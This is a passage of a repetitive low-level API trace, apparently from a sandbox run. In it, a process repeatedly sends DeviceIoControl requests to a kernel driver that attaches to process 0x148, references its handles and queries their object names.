nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.768] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.768] PsAcquireProcessExitSynchronization () returned 0x0 [0112.768] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.768] ObReferenceObjectByHandle (in: Handle=0x43c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0016bef10, HandleInformation=0x0) returned 0x0 [0112.768] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.768] PsReleaseProcessExitSynchronization () returned 0x2 [0112.768] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.768] ObQueryNameString (in: Object=0xfffff8a0016bef10, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.768] ObfDereferenceObject (Object=0xfffff8a0016bef10) returned 0x1 [0112.768] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.768] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.769] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.769] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.769] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.769] PsAcquireProcessExitSynchronization () returned 0x0 [0112.769] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.769] ObReferenceObjectByHandle (in: Handle=0x44c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0017fee90, HandleInformation=0x0) returned 0x0 [0112.769] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.769] PsReleaseProcessExitSynchronization () returned 0x2 [0112.769] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.769] ObQueryNameString (in: Object=0xfffff8a0017fee90, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.769] ObfDereferenceObject (Object=0xfffff8a0017fee90) returned 0x1 [0112.769] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.769] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.769] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.769] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.769] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.769] PsAcquireProcessExitSynchronization () returned 0x0 [0112.769] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.769] ObReferenceObjectByHandle (in: Handle=0x48c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001940330, HandleInformation=0x0) returned 0x0 [0112.769] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.769] PsReleaseProcessExitSynchronization () returned 0x2 [0112.769] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.769] ObQueryNameString (in: Object=0xfffff8a001940330, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.769] ObfDereferenceObject (Object=0xfffff8a001940330) returned 0x1 [0112.769] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.769] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.769] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.769] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.769] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.769] PsAcquireProcessExitSynchronization () returned 0x0 [0112.769] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.769] ObReferenceObjectByHandle (in: Handle=0x49c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0019cc320, HandleInformation=0x0) returned 0x0 [0112.770] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.770] PsReleaseProcessExitSynchronization () returned 0x2 [0112.770] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.770] ObQueryNameString (in: Object=0xfffff8a0019cc320, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.770] ObfDereferenceObject (Object=0xfffff8a0019cc320) returned 0x1 [0112.770] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.770] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.770] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.770] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.770] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.770] PsAcquireProcessExitSynchronization () returned 0x0 [0112.770] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.770] ObReferenceObjectByHandle (in: Handle=0x4b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00196fcd0, HandleInformation=0x0) returned 0x0 [0112.770] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.770] PsReleaseProcessExitSynchronization () returned 0x2 [0112.770] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.770] ObQueryNameString (in: Object=0xfffff8a00196fcd0, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.770] ObfDereferenceObject (Object=0xfffff8a00196fcd0) returned 0x1 [0112.770] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.770] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.770] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.770] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.770] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.770] PsAcquireProcessExitSynchronization () returned 0x0 [0112.770] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.770] ObReferenceObjectByHandle (in: Handle=0x4dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001ab67f0, HandleInformation=0x0) returned 0x0 [0112.770] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.770] PsReleaseProcessExitSynchronization () returned 0x2 [0112.770] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.770] ObQueryNameString (in: Object=0xfffff8a001ab67f0, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.770] ObfDereferenceObject (Object=0xfffff8a001ab67f0) returned 0x1 [0112.770] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.771] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.771] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.771] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.771] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.771] PsAcquireProcessExitSynchronization () returned 0x0 [0112.771] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.771] ObReferenceObjectByHandle (in: Handle=0x4e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0010e4430, HandleInformation=0x0) returned 0x0 [0112.771] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.771] PsReleaseProcessExitSynchronization () returned 0x2 [0112.771] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.771] ObQueryNameString (in: Object=0xfffff8a0010e4430, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.771] ObfDereferenceObject (Object=0xfffff8a0010e4430) returned 0x1 [0112.771] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.771] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.771] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.771] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.771] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.771] PsAcquireProcessExitSynchronization () returned 0x0 [0112.771] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.771] ObReferenceObjectByHandle (in: Handle=0x4e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0018ae340, HandleInformation=0x0) returned 0x0 [0112.771] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.771] PsReleaseProcessExitSynchronization () returned 0x2 [0112.771] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.771] ObQueryNameString (in: Object=0xfffff8a0018ae340, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.771] ObfDereferenceObject (Object=0xfffff8a0018ae340) returned 0x1 [0112.771] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.771] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.771] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.771] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.771] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.771] PsAcquireProcessExitSynchronization () returned 0x0 [0112.771] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.772] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001c039b0, HandleInformation=0x0) returned 0x0 [0112.772] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.772] PsReleaseProcessExitSynchronization () returned 0x2 [0112.772] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.772] ObQueryNameString (in: Object=0xfffff8a001c039b0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.772] ObfDereferenceObject (Object=0xfffff8a001c039b0) returned 0x1 [0112.772] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.772] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.772] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.772] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.772] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.772] PsAcquireProcessExitSynchronization () returned 0x0 [0112.772] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.772] ObReferenceObjectByHandle (in: Handle=0x52c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001a69640, HandleInformation=0x0) returned 0x0 [0112.772] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.772] PsReleaseProcessExitSynchronization () returned 0x2 [0112.772] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.772] ObQueryNameString (in: Object=0xfffff8a001a69640, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.772] ObfDereferenceObject (Object=0xfffff8a001a69640) returned 0x1 [0112.772] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.772] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.772] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.772] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.772] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.772] PsAcquireProcessExitSynchronization () returned 0x0 [0112.772] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.772] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001a21af0, HandleInformation=0x0) returned 0x0 [0112.772] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.772] PsReleaseProcessExitSynchronization () returned 0x2 [0112.772] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.772] ObQueryNameString (in: Object=0xfffff8a001a21af0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.772] ObfDereferenceObject (Object=0xfffff8a001a21af0) returned 0x1 [0112.772] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.773] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.773] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.773] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.773] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.773] PsAcquireProcessExitSynchronization () returned 0x0 [0112.773] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.773] ObReferenceObjectByHandle (in: Handle=0x55c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001cb3830, HandleInformation=0x0) returned 0x0 [0112.773] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.773] PsReleaseProcessExitSynchronization () returned 0x2 [0112.773] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.773] ObQueryNameString (in: Object=0xfffff8a001cb3830, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.773] ObfDereferenceObject (Object=0xfffff8a001cb3830) returned 0x1 [0112.773] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.773] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.773] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.773] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.773] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.773] PsAcquireProcessExitSynchronization () returned 0x0 [0112.773] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.773] ObReferenceObjectByHandle (in: Handle=0x584, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0020aabb0, HandleInformation=0x0) returned 0x0 [0112.773] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.773] PsReleaseProcessExitSynchronization () returned 0x2 [0112.773] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.773] ObQueryNameString (in: Object=0xfffff8a0020aabb0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.773] ObfDereferenceObject (Object=0xfffff8a0020aabb0) returned 0x1 [0112.773] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.774] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.774] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.774] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.774] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.774] PsAcquireProcessExitSynchronization () returned 0x0 [0112.774] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.774] ObReferenceObjectByHandle (in: Handle=0x5d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002386780, HandleInformation=0x0) returned 0x0 [0112.774] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.774] PsReleaseProcessExitSynchronization () returned 0x2 [0112.774] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.774] ObQueryNameString (in: Object=0xfffff8a002386780, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.774] ObfDereferenceObject (Object=0xfffff8a002386780) returned 0x1 [0112.774] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.774] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.774] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.774] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.774] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.774] PsAcquireProcessExitSynchronization () returned 0x0 [0112.774] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.774] ObReferenceObjectByHandle (in: Handle=0x5e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0017fa6b0, HandleInformation=0x0) returned 0x0 [0112.774] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.774] PsReleaseProcessExitSynchronization () returned 0x2 [0112.774] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.774] ObQueryNameString (in: Object=0xfffff8a0017fa6b0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.774] ObfDereferenceObject (Object=0xfffff8a0017fa6b0) returned 0x1 [0112.774] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.774] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.774] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.774] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.774] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.774] PsAcquireProcessExitSynchronization () returned 0x0 [0112.774] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.774] ObReferenceObjectByHandle (in: Handle=0x5f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, 